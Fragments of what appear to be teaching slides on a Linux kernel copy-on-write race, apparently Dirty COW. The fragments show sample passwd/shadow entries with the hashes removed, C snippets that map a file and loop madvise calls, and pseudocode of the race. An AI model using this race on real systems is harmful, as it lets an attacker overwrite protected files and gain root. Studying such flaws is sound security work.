root:x:0:0:root:/root:/bin/bash bennett:x:1000:1000:Dan Bennett:/home/bennett:/bin/bash
root:**** ENCRYPTED PASSWORD DELETED ****::0:99999:7::: bennett:**** ENCRYPTED PASSWORD DELETED ****:17054:0:99999:7:::
struct stat st; void * map; int f = open("./zzz", O_RDWR); fstat(f, &st); map = mmap(NULL, st.st_size, PROT_READ| PROT_WRITE, MAP_SHARED, f, 0);
void *madviseThread(void *arg) { int i, c = 0; for(i = 0; i < 20000; i++) { c += madvise(map, 100, MADV_DONTNEED); } }
write:
- if (map read only) {
- newMap = Allocate a new map
- write to newMap }
delete:
- update map pointers
- delete temporary map
- if (map read only) {
- newMap = Allocate a new map
- update map pointers
- delete temporary map
- write to newMap }